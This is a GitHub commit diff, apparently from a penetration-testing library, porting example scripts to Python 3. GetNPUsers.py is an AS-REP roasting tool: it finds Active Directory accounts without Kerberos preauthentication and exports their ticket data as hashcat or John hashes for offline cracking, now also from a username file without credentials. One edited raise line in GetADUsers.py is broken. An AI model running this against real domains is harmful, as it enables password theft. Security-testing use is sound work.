Skip to content

Commit

Permalink
merged upstream/master
Browse files Browse the repository at this point in the history
  • Loading branch information
Ronnie Flathers committed Apr 3, 2019
2 parents 28d2072 + 429f97a commit 5a32a54
Show file tree
Hide file tree
Showing 233 changed files with 9,194 additions and 8,291 deletions.
2 changes: 1 addition & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,6 @@ before_script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
- flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics

script: tox
38 changes: 20 additions & 18 deletions examples/GetADUsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,9 @@
# Reference for:
# LDAP
#


from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import argparse
import logging
import sys
Expand Down Expand Up @@ -75,7 +76,7 @@ def getMachineName(self):
s.login('', '')
except Exception:
if s.getServerName() == '':
raise('Error while anonymous logging into %s' % self.__domain)
raise 'Error while anonymous logging into %s'
else:
s.logoff()
return s.getServerName()
Expand All @@ -95,25 +96,26 @@ def processRecord(self, item):
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['vals'][0]).endswith('$') is False:
if str(attribute['type']) == 'sAMAccountName':
if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:
# User Account
sAMAccountName = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'mail':
elif str(attribute['type']) == 'mail':
mail = str(attribute['vals'][0])

print(self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon]))
print((self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon])))
except Exception as e:
logging.debug("Exception", exc_info=True)
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass

Expand Down Expand Up @@ -148,8 +150,8 @@ def run(self):

logging.info('Querying %s for information about domain.' % self.__target)
# Print header
print(self.__outputFormat.format(*self.__header))
print(' '.join(['-' * itemLen for itemLen in self.__colLen]))
print((self.__outputFormat.format(*self.__header)))
print((' '.join(['-' * itemLen for itemLen in self.__colLen])))

# Building the search filter
if self.__all:
Expand All @@ -165,10 +167,10 @@ def run(self):
try:
logging.debug('Search Filter=%s' % searchFilter)
sc = ldap.SimplePagedResultsControl(size=100)
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],
sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord)
except ldap.LDAPSearchError as e:
ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],
sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord)
except ldap.LDAPSearchError:
raise

ldapConnection.close()
Expand All @@ -177,7 +179,7 @@ def run(self):
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print(version.BANNER)
print((version.BANNER))

parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data")

Expand Down Expand Up @@ -242,4 +244,4 @@ def run(self):
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print (str(e))
print((str(e)))
135 changes: 84 additions & 51 deletions examples/GetNPUsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,8 @@
#
# ToDo:
#
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
Expand Down Expand Up @@ -54,12 +56,12 @@ def printTable(items, header):
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])

# Print header
print outputFormat.format(*header)
print ' '.join(['-' * itemLen for itemLen in colLen])
print(outputFormat.format(*header))
print(' '.join(['-' * itemLen for itemLen in colLen]))

# And now the rows
for row in items:
print outputFormat.format(*row)
print(outputFormat.format(*row))

def __init__(self, username, password, domain, cmdLineOptions):
self.__username = username
Expand All @@ -69,6 +71,8 @@ def __init__(self, username, password, domain, cmdLineOptions):
self.__nthash = ''
self.__no_pass = cmdLineOptions.no_pass
self.__outputFileName = cmdLineOptions.outputfile
self.__outputFormat = cmdLineOptions.format
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__requestTGT = cmdLineOptions.request
Expand All @@ -93,7 +97,7 @@ def getMachineName(self):
s.login('', '')
except Exception:
if s.getServerName() == '':
raise('Error while anonymous logging into %s' % self.__domain)
raise Exception('Error while anonymous logging into %s')
else:
s.logoff()
return s.getServerName()
Expand Down Expand Up @@ -154,7 +158,7 @@ def getTGT(self, userName, requestPAC=True):

try:
r = sendReceive(message, domain, self.__kdcHost)
except KerberosError, e:
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# RC4 not available, OK, let's ask for newer types
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
Expand All @@ -176,16 +180,21 @@ def getTGT(self, userName, requestPAC=True):
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)


# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]))
if self.__outputFormat == 'john':
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
else:
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())

@staticmethod
def outputTGT(entry, fd=None):
if fd is None:
print entry
print(entry)
else:
fd.write(entry + '\n')

Expand All @@ -198,6 +207,11 @@ def run(self):
else:
target = self.__domain

if self.__usersFile:
self.request_users_file_TGTs()
return


# Are we asked not to supply a password?
if self.__no_pass is True:
# Yes, just ask the TGT and exit
Expand All @@ -214,7 +228,7 @@ def run(self):
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError, e:
except ldap.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
Expand Down Expand Up @@ -242,7 +256,7 @@ def run(self):
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap.LDAPSearchError, e:
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
Expand All @@ -266,57 +280,69 @@ def run(self):
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif attribute['type'] == 'userAccountControl':
userAccountControl = "0x%x" % attribute['vals'][0]
elif attribute['type'] == 'memberOf':
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception, e:
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass

if len(answers)>0:
self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
print '\n\n'
print('\n\n')

if self.__requestTGT is True:
# Get a TGT for the current user
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for answer in answers:
try:
entry = self.getTGT(answer[0])
self.outputTGT(entry,fd)
except Exception , e:
logging.error('%s' % str(e))
if fd is not None:
fd.close()
usernames = [answer[0] for answer in answers]
self.request_multiple_TGTs(usernames)

else:
print("No entries found!")

def request_users_file_TGTs(self):

with open(self.__usersFile) as fi:
usernames = [line.strip() for line in fi]

self.request_multiple_TGTs(usernames)

def request_multiple_TGTs(self, usernames):
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
print "No entries found!"
fd = None
for username in usernames:
try:
entry = self.getTGT(username)
self.outputTGT(entry, fd)
except Exception as e:
logging.error('%s' % str(e))
if fd is not None:
fd.close()



# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
print(version.BANNER)

parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
"'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
Expand All @@ -326,6 +352,12 @@ def run(self):
'in JtR/hashcat format (default False)')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')

parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')

parser.add_argument('-usersfile', help='File with user per line to test')

parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

group = parser.add_argument_group('authentication')
Expand All @@ -344,17 +376,20 @@ def run(self):

if len(sys.argv)==1:
parser.print_help()
print "\nThere are a few modes for using this script"
print "\n1. Get a TGT for a user:"
print "\n\tGetNPUsers.py contoso.com/john.doe -no-pass"
print "\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, " \
"\notherwise a badpwdcount entry will be added to the user"
print "\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set"
print "\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily"
print "\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever " \
"it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)"
print "\n3. Request TGTs for all users"
print "\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily"
print("\nThere are a few modes for using this script")
print("\n1. Get a TGT for a user:")
print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass")
print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
"\notherwise a badpwdcount entry will be added to the user")
print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily")
print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
"it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
print("\n3. Request TGTs for all users")
print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily")
print("\n4. Request TGTs for users in a file")
print("\n\tGetNPUsers.py contoso.com/ -no-pass -usersfile users.txt")
print("\nFor this operation you don\'t need credentials.")
sys.exit(1)

options = parser.parse_args()
Expand Down Expand Up @@ -392,8 +427,6 @@ def run(self):
try:
executer = GetUserNoPreAuth(username, password, domain, options)
executer.run()
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
Loading

0 comments on commit 5a32a54

Please sign in to comment.